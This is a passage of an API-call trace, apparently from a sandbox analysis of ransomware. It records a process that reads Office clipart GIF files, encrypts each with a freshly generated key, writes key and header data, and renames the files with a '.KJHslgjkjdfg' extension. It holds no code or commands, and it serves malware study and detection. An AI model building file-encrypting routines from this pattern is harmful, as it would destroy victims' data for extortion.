[0153.647] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.647] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d9f, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1d9f, lpOverlapped=0x0) returned 1 [0153.648] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1da0, dwBufLen=0x1da0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1da0) returned 1 [0153.648] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.648] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1da0, lpOverlapped=0x0) returned 1 [0153.648] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.648] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.648] SetEndOfFile (hFile=0x114) returned 1 [0153.651] GetProcessHeap () returned 0x2a0000 [0153.651] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.651] GetProcessHeap () returned 0x2a0000 [0153.651] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.kjhslgjkjdfg")) returned 1 [0153.652] CloseHandle (hObject=0x114) returned 1 [0153.652] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0153.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.654] GetProcessHeap () returned 0x2a0000 [0153.654] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.654] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.654] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.654] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.657] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.657] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.657] GetProcessHeap () returned 0x2a0000 [0153.657] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.657] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.657] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.657] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.657] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.657] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.658] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.658] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.658] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.658] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.658] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b48, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b48, lpOverlapped=0x0) returned 1 [0153.659] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b50, dwBufLen=0x1b50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b50) returned 1 [0153.659] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.659] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b50, lpOverlapped=0x0) returned 1 [0153.659] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.659] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.659] SetEndOfFile (hFile=0x114) returned 1 [0153.662] GetProcessHeap () returned 0x2a0000 [0153.662] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.662] GetProcessHeap () returned 0x2a0000 [0153.662] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.kjhslgjkjdfg")) returned 1 [0153.663] CloseHandle (hObject=0x114) returned 1 [0153.664] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0153.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.664] GetProcessHeap () returned 0x2a0000 [0153.664] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.664] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.664] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0153.667] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.667] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.667] GetProcessHeap () returned 0x2a0000 [0153.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.667] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.667] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.667] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.667] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.667] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.667] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.667] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.667] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.667] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.667] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.668] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.668] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x33c6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x33c6, lpOverlapped=0x0) returned 1 [0153.669] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x33d0, dwBufLen=0x33d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x33d0) returned 1 [0153.669] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.669] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x33d0, lpOverlapped=0x0) returned 1 [0153.669] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.669] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x34a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.669] SetEndOfFile (hFile=0x114) returned 1 [0153.672] GetProcessHeap () returned 0x2a0000 [0153.673] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.673] GetProcessHeap () returned 0x2a0000 [0153.673] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.kjhslgjkjdfg")) returned 1 [0153.674] CloseHandle (hObject=0x114) returned 1 [0153.674] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0153.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.675] GetProcessHeap () returned 0x2a0000 [0153.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.675] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.675] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.675] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0153.677] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.677] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.677] GetProcessHeap () returned 0x2a0000 [0153.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.677] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.677] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.678] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.678] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.678] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.678] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.678] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.678] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.678] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.678] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.678] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.678] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2186, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2186, lpOverlapped=0x0) returned 1 [0153.679] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2190, dwBufLen=0x2190 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2190) returned 1 [0153.679] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.679] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2190, lpOverlapped=0x0) returned 1 [0153.679] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.680] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.680] SetEndOfFile (hFile=0x114) returned 1 [0153.682] GetProcessHeap () returned 0x2a0000 [0153.682] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.682] GetProcessHeap () returned 0x2a0000 [0153.682] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.kjhslgjkjdfg")) returned 1 [0153.683] CloseHandle (hObject=0x114) returned 1 [0153.683] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0153.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.684] GetProcessHeap () returned 0x2a0000 [0153.684] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.684] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.684] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0153.688] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.688] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.689] GetProcessHeap () returned 0x2a0000 [0153.689] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.689] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.689] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.689] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.689] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.689] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.689] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.689] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.689] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.689] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.689] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.689] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.689] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x131e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x131e, lpOverlapped=0x0) returned 1 [0153.690] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1320, dwBufLen=0x1320 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1320) returned 1 [0153.690] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.690] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1320, lpOverlapped=0x0) returned 1 [0153.690] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.690] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x13f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.690] SetEndOfFile (hFile=0x114) returned 1 [0153.693] GetProcessHeap () returned 0x2a0000 [0153.693] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: 